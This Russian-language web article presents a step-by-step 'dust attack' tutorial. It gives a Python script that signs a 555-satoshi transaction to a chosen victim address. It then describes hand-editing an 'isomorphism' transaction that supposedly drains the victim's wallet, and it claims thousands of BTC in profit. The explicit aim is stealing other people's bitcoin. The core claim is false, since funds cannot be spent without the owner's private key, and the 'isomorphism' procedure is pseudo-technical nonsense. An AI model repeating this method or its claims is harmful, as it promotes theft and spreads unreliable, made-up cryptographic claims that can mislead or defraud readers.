{"id":14285,"url":"\/distributions\/14285\/click?bit=1&hash=346f3dd5dee2d88930b559bfe049bf63f032c3f6597a81b363a99361cc92d37d","title":"\u0421\u0442\u0438\u043f\u0435\u043d\u0434\u0438\u044f, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043c\u043e\u0436\u043d\u043e \u043f\u043e\u0442\u0440\u0430\u0442\u0438\u0442\u044c \u043d\u0430 \u043e\u0431\u0443\u0447\u0435\u043d\u0438\u0435 \u0438\u043b\u0438 \u043f\u0443\u0442\u0435\u0448\u0435\u0441\u0442\u0432\u0438\u044f","buttonText":"","imageUuid":""}

DUST ATTACK транзакция в блокчейне с подтверждением изоморфизма на общую сумму 10000 BTC

В этой статье мы раскроем обширную тему: “Dust Attack” известная как: "Dusting Attack" или "Crypto Dust". Возможно каждый пользователь криптовалют или держатель большой суммы монет BTC, ETH замещал на своем криптовалютном кошельке поступление незначительно малой суммы монет в satoshi, это поступление маскируется под видом "Donate", но на самом деле это целая математический отточенная система по отъёму всех накопленных монет кошелька на балансе. Целью раскрытие системы и всех подводных камней “Dust Attack”, нас подвигла и натолкнуло статья опубликованная 8 января 2024 г. на сайте глобальной криптоэкономики CoinDesk

Пока все гадают, кто же именно отправил 27 BTC на популярный Биткоин Кошелек [Satoshi Nakamoto] мы рассмотрим две различные примеры пылевой атаки, чтобы пролить свет на все тонкости этой манипуляции и какие риски могут ждать пользователей и держателей популярной криптовалюты Биткоин.

Рассмотрим ещё одну статью и возьмем для примера TXID из которого было совершено очень большое количество пылевой атаки.

Согласно, статье в этой транзакции было совершено наибольшее количество краж монет BTC с использованием системы пылевой атаки.

Обратим внимание на два Биткоин Адреса которые в период [июль-август 2022] совершили успешные пылевые атаки на общую сумму: 10000 BTC

Для проведение пылевой атаки большую роль играет подтверждение изоморфизма майнерами, т.к. с 2022 по 2024 года многие криптовалютные сервисы и аппаратные кошельки активно борются с пылевой атакой.

На данный момент широкую популярность получил способ самостоятельно создавать пылевые транзакции на собственном холодном кошельке. Возьмем пример № 1 и перейдем в раздел “Create Dust Transaction”

УстановимPython 3.12.1 на Windows 10

Скачиваемисходный код устанавливаем get-pip.py , а также запускаем install.py для установки пакетов:

Сгенерируем собственный холодный кошелек

Баланс и транзакция платежаПополняем баланс холодного кошелька:1AK4LYE6PYwBmSYHQX3v2UsXXHTvCAsJeK

Сохраним транзакциюTXID хэш от платежа пополнение баланса для дальнейшего построение Дерево Меркла (Merkle Tree)

Дерево Меркла заполняется снизу вверх, где к каждому блоку данных применяется хеширование, а полученные значения записываются в листья дерева. 

Блоки, которые находятся уровнем выше, заполняются значением суммы хешем двух дочерних блоков. Этот процесс повторяется до того момента, пока не будет получено верхнее значение или Корень Меркла (Merkle Root). В блокчейне Bitcon используется хеш-функция SHA256. Другие блокчейны могут использовать другие принципы шифрования для создания Дерева Меркла.

Хэш платежа от пополнение баланса

СкопируемTXID: 0b253c2dd4331f78de3d9a14d5cacfe9b20c258ebedabc782f36ce2e50d193c5т.к. это хэш пополнение баланса холодного кошелька:1AK4LYE6PYwBmSYHQX3v2UsXXHTvCAsJeK далее открываем исходный код Python скрипта createrawtransaction.py и в строке №7 меняем значение на свои данные.

dust_tx = bytes.fromhex("0b253c2dd4331f78de3d9a14d5cacfe9b20c258ebedabc782f36ce2e50d193c5")

Чтобы обезопасить свой новосозданный холодный кошелек:1AK4LYE6PYwBmSYHQX3v2UsXXHTvCAsJeKОБЯЗАТЕЛЬНО отключаем интернет на своем ПК. Это необходимо для безопасности в раскрытие приватного ключа сторонними работающими приложениями на вашем ПК. Этот процесс займет несколько минут. Отключаем интернет при создании пылевой транзакции RawTX.

Как только вы убедились, что интернет отключен в строке №5 вставим Private Key WIF

pk = PrivateKey.parse("L1k********************************************MdrTj")

В строке №12 добавляем общую сумму баланса холодного кошелька. В нашем случае эта сумма составляет2786906 satoshi

tx_in._value = 2786906

Прибыль от пылевой атаки.

Выбираем Биткоин Кошелек от которого в конечном итоге получаем прибыль в случае подтверждение майнерами изоморфизма. Так как мы рассматриваем пример №1 в нашем случае мы выбираем адрес Биткоин Кошелька: 14RKFqH45xYPMpW4KQ28RB6XtrZ8XpEM5i

В строке №9 нам необходимо указать Биткоин Адрес для пылевой атаки

send_dust = "14RKFqH45xYPMpW4KQ28RB6XtrZ8XpEM5i"

Сумма пыли будет составлять555 satoshi, в строке №15 указываем эту сумму.

TxOut(555, Tx.get_address_data(send_dust)['script_pubkey'].serialize()),

Далее учитываемFee(комиссия для майнеров), эта сумму будет составлять226 satoshi

555 + 226 = 781 satoshi

Также нам необходимо учитывать возврат наших средств обратно на наш холодный кошелек:1AK4LYE6PYwBmSYHQX3v2UsXXHTvCAsJeK т.к. мы выделили 781 satoshi для пылевой атаки, вычитаем эту сумму из общей суммы пополнение баланса холодного кошелька 2786906 satoshi

2786906 - 781 = 2786125 satoshi

В строке №16 указываем сумму возврат наших средств обратно на наш холодный кошелек:1AK4LYE6PYwBmSYHQX3v2UsXXHTvCAsJeK

TxOut(2786125, Tx.get_address_data(pk.address())['script_pubkey'].serialize())

Запускаем наш скриптcreaterawtransaction.pyнажав клавишу«F5» или опцию: Run / Run Module F5

Запуск скрипта: createrawtransaction.py

from io import BytesIO from secp256k1 import * from sighash import * pk = PrivateKey.parse("L1k********************************************MdrTj") pk.address() dust_tx = bytes.fromhex("0b253c2dd4331f78de3d9a14d5cacfe9b20c258ebedabc782f36ce2e50d193c5") dust_index = 0 send_dust = "14RKFqH45xYPMpW4KQ28RB6XtrZ8XpEM5i" tx_in = TxIn(dust_tx, dust_index, b'', 0xffffffff) tx_in._script_pubkey = Tx.get_address_data(pk.address())['script_pubkey'] tx_in._value = 2786906 tx_ins = [ tx_in ] tx_outs = [ TxOut(555, Tx.get_address_data(send_dust)['script_pubkey'].serialize()), TxOut(2786125, Tx.get_address_data(pk.address())['script_pubkey'].serialize()) ] tx = Tx(1, tx_ins, tx_outs, 0, testnet=True) signature(tx, 0, pk) tx.serialize().hex() print("\n--------------------------------------\n") print("My work Bitcoin Address: " + pk.address()) print("Address for Getting Rich: " + send_dust) print("\n--------------------------------------\n") print(tx_in._script_pubkey) print(tx_in.script_sig) print("\n--------------------------------------\n") print("RawTX for performing isomorphism:") print(tx.serialize().hex()) print("\n--------------------------------------\n")

Результат:

-------------------------------------- My work Bitcoin Address: 1AK4LYE6PYwBmSYHQX3v2UsXXHTvCAsJeK Address for Getting Rich: 14RKFqH45xYPMpW4KQ28RB6XtrZ8XpEM5i -------------------------------------- OP_DUP OP_HASH160 b'2581997c24562e316ffa3163e63d2db26442cc9a' OP_EQUALVERIFY OP_CHECKSIG b'304402203b2c7941c858d201ac384029e88c9988f6baa433d061eacb765caa356d6e1a7e02203885dd1be0e8a5b0890dde12674c508608f0c60872a4acbc5fb3b9fd1978d916' b'02fbc210b54bdb4c48143a15cfd50a3e101d15a7dbb814c3804efc4b4782f45a5a' -------------------------------------- RawTX for performing isomorphism: 0200000001c593d1502ece362f78bcdabe8e250cb2e9cfcad5149a3dde781f33d42d3c250b010000006a47304402203b2c7941c858d201ac384029e88c9988f6baa433d061eacb765caa356d6e1a7e02203885dd1be0e8a5b0890dde12674c508608f0c60872a4acbc5fb3b9fd1978d916012102fbc210b54bdb4c48143a15cfd50a3e101d15a7dbb814c3804efc4b4782f45a5afdffffff022b020000000000001976a9142581997c24562e316ffa3163e63d2db26442cc9a88ac4d832a00000000001976a914662367a3d78a4b0fcbb3020b3d724981d10934f688acd9530800 --------------------------------------

Мы получилиRawTXпылевой транзакции теперь перейдем в раздел Verify Transactions для того чтобы убедиться создана ли транзакция должным образом. Скопируем RawTX и вставим в поле ввода Verify transactions and other scripts

RawTX for performing isomorphism:

0200000001c593d1502ece362f78bcdabe8e250cb2e9cfcad5149a3dde781f33d42d3c250b010000006a47304402203b2c7941c858d201ac384029e88c9988f6baa433d061eacb765caa356d6e1a7e02203885dd1be0e8a5b0890dde12674c508608f0c60872a4acbc5fb3b9fd1978d916012102fbc210b54bdb4c48143a15cfd50a3e101d15a7dbb814c3804efc4b4782f45a5afdffffff022b020000000000001976a9142581997c24562e316ffa3163e63d2db26442cc9a88ac4d832a00000000001976a914662367a3d78a4b0fcbb3020b3d724981d10934f688acd9530800

Цель нашей пылевой атаки получить максимальную прибыль от Биткоин Кошелька на которую мы отправляем 555 satoshi. Для этого мы переходим в раздел ScriptSig Isomorphism и преобразуем пылевую транзакцию в изоморфизм, согласно теории https://safecurves.cr.yp.to/ladder.html (две транзакции должны быть подтверждены майнерами). Первая транзакция это пылевая транзакция, где отправляется малая сумма в 555 satoshi, вторая транзакция это изоморфизм первой транзакции, где происходит обратный перевод средств из баланса жертвы пылевой атаки.

Полученный изоморфизм мы опубликуем в репозитории CryptoDeepTools

https://github.com/demining/CryptoDeepTools/blob/main/28DustAttack/14RKFqH45xYPMpW4KQ28RB6XtrZ8XpEM5i/isomorphism.txt

Согласно, теории описанная в разделеCreate Dust Transaction нам необходимо изменить все существующие значение 74786964 в новой транзакции изоморфизма на все текущие txid которые были совершены в Биткоин Кошелек: 14RKFqH45xYPMpW4KQ28RB6XtrZ8XpEM5i на которую мы производим пылевую атаку с малой суммой 555 satoshi [ send_dust ]

Запустим скрипт указав print(tx.serialize().hex()[+10:+74]) и преобразуем весь список txid в потоковый формат hash

После того как мы получили все потоковые хеш форматы нам необходимо сохранить весь список заменивtxid, для этого открываем файл:isomorphism.txt в Notepad++ нажимаем клавиши:CTRL + F пишем: 74786964 заменить на: \ntxid\n

Переходим вCryptoDeepTools и выполним функцию замены в Notepad++ т.к. мы получили список txid теперь из списка GitHub скопируем и вставим весь список потокового хеш формата в файл: isomorphism.txt

Замена публичного ключа в файле: isomorphism.txt

Изоморфизм это новая транзакция и в место значение7075626b6579нам необходимо указать публичный ключ Биткоин Кошелька из которого мы хотим совершить транзакцию целью получение максимальной прибыли. Для этого переходим в файлPublicKey.txt запустим python скрипт: pubtoaddr.py для того чтобы убедиться соответствует ли публичный ключ к адресу для пылевой атаки.

https://github.com/demining/CryptoDeepTools/blob/main/28DustAttack/14RKFqH45xYPMpW4KQ28RB6XtrZ8XpEM5i/PublicKey.txt

После нам необходимо изменитьвсе существующие значение7075626b6579на значение в файле:PublicKey.txt (Все действие делаются также в Notepad++)

Биткоин адрес для получения всей прибыли:

Для перевода всех накопленных монет BTC нам необходимо сгенерировать совершенно новый Биткоин адрес в формате (SegWit):

36ZfWyL5NGvC2u54QENyUgDzTgNyHe1xpE

Для того, чтобы получитьhash160для Биткоин адреса нам необходимо раскодироватьRedeemScriptиспользуем python скриптcreaterawtransaction.py

print(Tx.get_address_data(send_dust)['script_pubkey'])

После получениеhash160из нового Биткоин Адреса(SegWit)нам необходимо открытьфайл: isomorphism.txt в Notepad++ и заменить значение 68617368313630 на полученное значение hash160

Мы добавили все необходимые значение для создание новой транзакции для получение прибыли из изоморфизма, теперь нам необходимо выделить весь текст нафайле: isomorphism.txt нажав клавиши: CTRL + A после объединяем все в одну строку для этого необходимо нажать на клавиши CTRL + J в итоге мы получаем длинную строку с пробелами. Убираем пробелы нажав клавиши: CTRL + F заменяем пробелы. В итоге мы получаем новый RawTX для совершение транзакции.

Любая транзакция должна быть подтверждена майнерами для того чтобы RawTX отправить в поле раздела: Broadcast Transaction для передачи заявки на подтверждение майнерами, необходимо тщательно убедиться, что платеж создан корректно для этого переходим в раздел: Verify Transactions and other scripts

Сумма прибыли в монетах от пылевой атаки составляет: 5000.00141092 BTC // $ 209364,284.08 United States Dollar

Продолжим пылевую атаку на другом примере. В качестве холодного кошелька будем использовать тот же адрес:1AK4LYE6PYwBmSYHQX3v2UsXXHTvCAsJeKДля примера №2 пополним баланс на сумму: 0.033532 BTC или в единицах Биткоина: 33532 satoshi

Сохраним транзакцию TXID хэш от платежа пополнение баланса для дальнейшего построение Дерево Меркла (Merkle Tree)

Хэш платежа от пополнение баланса

Скопируем TXID: 655c533bf059721cec9d3d70b3171a07997991a02fedfa1c9b593abc645e1cc5 т.к. это хэш пополнение баланса холодного кошелька: 1AK4LYE6PYwBmSYHQX3v2UsXXHTvCAsJeK далее открываем исходный код Python скрипта createrawtransaction.py и в строке №7 меняем значение на свои данные.

dust_tx = bytes.fromhex("655c533bf059721cec9d3d70b3171a07997991a02fedfa1c9b593abc645e1cc5")

Меняем строку №5 вставим Private Key WIF

pk = PrivateKey.parse("L1k********************************************MdrTj")

В строке №12 добавляем общую сумму баланса холодного кошелька. В нашем случае эта сумма составляет33532 satoshi

tx_in._value = 33532

Прибыль от пылевой атаки.

Выбираем Биткоин Кошелек от которого в конечном итоге получаем прибыль в случае подтверждение майнерами изоморфизма. Так как мы рассматриваем пример №2 в нашем случае мы выбираем адрес Биткоин Кошелька: 15n6boxiQj45oHcmDjtNMjh35sFWZX4PBt

В строке №9 нам необходимо указать Биткоин Адрес для пылевой атаки

send_dust = "15n6boxiQj45oHcmDjtNMjh35sFWZX4PBt"

Сумма пыли будет составлять 555 satoshi, в строке №15 указываем эту сумму.

TxOut(555, Tx.get_address_data(send_dust)['script_pubkey'].serialize()),

Далее учитываемFee(комиссия для майнеров), эта сумму будет составлять226 satoshi

555 + 226 = 781 satoshi

Также нам необходимо учитывать возврат наших средств обратно на наш холодный кошелек:1AK4LYE6PYwBmSYHQX3v2UsXXHTvCAsJeK т.к. мы выделили 781 satoshi для пылевой атаки, вычитаем эту сумму из общей суммы пополнение баланса холодного кошелька 33532 satoshi

33532 - 781 = 32751 satoshi

В строке №16 указываем сумму возврат наших средств обратно на наш холодный кошелек:1AK4LYE6PYwBmSYHQX3v2UsXXHTvCAsJeK

TxOut(32751, Tx.get_address_data(pk.address())['script_pubkey'].serialize())

Запускаем наш скриптcreaterawtransaction.pyнажав клавишу«F5» или опцию:Run / Run ModuleF5

Запуск скрипта: createrawtransaction.py

from io import BytesIO from secp256k1 import * from sighash import * pk = PrivateKey.parse("L1k********************************************MdrTj") pk.address() dust_tx = bytes.fromhex("655c533bf059721cec9d3d70b3171a07997991a02fedfa1c9b593abc645e1cc5") dust_index = 0 send_dust = "15n6boxiQj45oHcmDjtNMjh35sFWZX4PBt" tx_in = TxIn(dust_tx, dust_index, b'', 0xffffffff) tx_in._script_pubkey = Tx.get_address_data(pk.address())['script_pubkey'] tx_in._value = 33532 tx_ins = [ tx_in ] tx_outs = [ TxOut(555, Tx.get_address_data(send_dust)['script_pubkey'].serialize()), TxOut(32751, Tx.get_address_data(pk.address())['script_pubkey'].serialize()) ] tx = Tx(1, tx_ins, tx_outs, 0, testnet=True) signature(tx, 0, pk) tx.serialize().hex() print("\n--------------------------------------\n") print("My work Bitcoin Address: " + pk.address()) print("Address for Getting Rich: " + send_dust) print("\n--------------------------------------\n") print(tx_in._script_pubkey) print(tx_in.script_sig) print("\n--------------------------------------\n") print("RawTX for performing isomorphism:") print(tx.serialize().hex()) print("\n--------------------------------------\n")

Результат:

-------------------------------------- My work Bitcoin Address: 1AK4LYE6PYwBmSYHQX3v2UsXXHTvCAsJeK Address for Getting Rich: 15n6boxiQj45oHcmDjtNMjh35sFWZX4PBt -------------------------------------- OP_DUP OP_HASH160 b'662367a3d78a4b0fcbb3020b3d724981d10934f6' OP_EQUALVERIFY OP_CHECKSIG b'3045022100dcd830d15f3a8cad03526bac2540570431a8691450a2959cc1badcc2e563124e0220013aa9e38bf45e4afc3859ee34ac8522106f1d202246c247ed945da89bdba622' b'02fbc210b54bdb4c48143a15cfd50a3e101d15a7dbb814c3804efc4b4782f45a5a' -------------------------------------- RawTX for performing isomorphism: 0200000001c51c5e64bc3a599b1cfaed2fa0917999071a17b3703d9dec1c7259f03b535c65010000006b483045022100dcd830d15f3a8cad03526bac2540570431a8691450a2959cc1badcc2e563124e0220013aa9e38bf45e4afc3859ee34ac8522106f1d202246c247ed945da89bdba622012102fbc210b54bdb4c48143a15cfd50a3e101d15a7dbb814c3804efc4b4782f45a5afdffffff02ef7f0000000000001976a914662367a3d78a4b0fcbb3020b3d724981d10934f688ac2b020000000000001976a9143467e56d5193558eacdae84af5c1c72ee158dd6788acd9530800 --------------------------------------

Мы получилиRawTXпылевой транзакции теперь перейдем в раздел Verify Transactions для того чтобы убедиться создана ли транзакция должным образом. Скопируем RawTX и вставим в поле ввода Verify transactions and other scripts

RawTX for performing isomorphism:

0200000001c51c5e64bc3a599b1cfaed2fa0917999071a17b3703d9dec1c7259f03b535c65010000006b483045022100dcd830d15f3a8cad03526bac2540570431a8691450a2959cc1badcc2e563124e0220013aa9e38bf45e4afc3859ee34ac8522106f1d202246c247ed945da89bdba622012102fbc210b54bdb4c48143a15cfd50a3e101d15a7dbb814c3804efc4b4782f45a5afdffffff02ef7f0000000000001976a914662367a3d78a4b0fcbb3020b3d724981d10934f688ac2b020000000000001976a9143467e56d5193558eacdae84af5c1c72ee158dd6788acd9530800
https://coinbin.ru/#verify

Цель нашей пылевой атаки получить максимальную прибыль отБиткоин Кошелька на которую мы отправляем 555 satoshi. Для этого мы переходим в раздел ScriptSig Isomorphism и преобразуем пылевую транзакцию в изоморфизм, согласно теории https://safecurves.cr.yp.to/ladder.html (две транзакции должны быть подтверждены майнерами). Первая транзакция это пылевая транзакция, где отправляется малая сумма в 555 satoshi, вторая транзакция это изоморфизм первой транзакции, где происходит обратный перевод средств из баланса жертвы пылевой атаки.

Полученный изоморфизм мы опубликуем в репозитории CryptoDeepTools

Согласно, теории описанная в разделе Create Dust Transaction нам необходимо изменить все существующие значение 74786964 в новой транзакции изоморфизма на все текущие txid которые были совершены в Биткоин Кошелек: 15n6boxiQj45oHcmDjtNMjh35sFWZX4PBt на которую мы производим пылевую атаку с малой суммой 555 satoshi [ send_dust ]

Запустим скрипт указав print(tx.serialize().hex()[+10:+74]) и преобразуем весь список txid в потоковый формат hash

После того как мы получили все потоковые хеш форматы нам необходимо сохранить весь список заменивtxid, для этого открываем файл:isomorphism.txt в Notepad++ нажимаем клавиши:CTRL + F пишем: 74786964 заменить на: \ntxid\n

Переходим вCryptoDeepTools и выполним функцию замены в Notepad++ т.к. мы получили список txid теперь из списка GitHub скопируем и вставим весь список потокового хеш формата в файл: isomorphism.txt

Замена публичного ключа в файле: isomorphism.txt

Изоморфизм это новая транзакция и в место значение7075626b6579нам необходимо указать публичный ключ Биткоин Кошелька из которого мы хотим совершить транзакцию целью получение максимальной прибыли. Для этого переходим в файлPublicKey.txt запустим python скрипт: pubtoaddr.py для того чтобы убедиться соответствует ли публичный ключ к адресу для пылевой атаки.

После нам необходимо изменитьвсе существующие значение7075626b6579на значение в файле:PublicKey.txt (Все действие делаются также в Notepad++)

Биткоин адрес для получения всей прибыли:

Для перевода всех накопленных монет BTC нам необходимо сгенерировать совершенно новый Биткоин адрес в формате (SegWit):

3GsC42MbUrtGU4un6QHbXkyjKVawyvm6ac

Для того, чтобы получитьhash160для Биткоин адреса нам необходимо раскодироватьRedeemScriptиспользуем python скриптcreaterawtransaction.py

print(Tx.get_address_data(send_dust)['script_pubkey'])

После получениеhash160из нового Биткоин Адреса(SegWit)нам необходимо открытьфайл: isomorphism.txt в Notepad++ и заменить значение 68617368313630 на полученное значение hash160

Мы добавили все необходимые значение для создание новой транзакции для получение прибыли из изоморфизма, теперь нам необходимо выделить весь текст на файле: isomorphism.txt нажав клавиши: CTRL + A после объединяем все в одну строку для этого необходимо нажать на клавиши CTRL + J в итоге мы получаем длинную строку с пробелами. Убираем пробелы нажав клавиши: CTRL + F заменяем пробелы. В итоге мы получаем новый RawTX для совершение транзакции.

Любая транзакция должна быть подтверждена майнерами для того чтобы RawTX отправить в поле раздела: Broadcast Transaction для передачи заявки на подтверждение майнерами, необходимо тщательно убедиться, что платеж создан корректно для этого переходим в раздел: Verify Transactions and other scripts

Сумма прибыли в монетах от пылевой атаки составляет:5001.51473912 BTC // $ 215831966,02 United States Dollar

References:

Данный материал создан для портала CRYPTO DEEP TECH для обеспечения финансовой безопасности данных и криптографии на эллиптических кривых secp256k1 против слабых подписей ECDSA в криптовалюте BITCOIN. Создатели программного обеспечения не несут ответственность за использование материалов.

0
Комментарии
-3 комментариев
Раскрывать всегда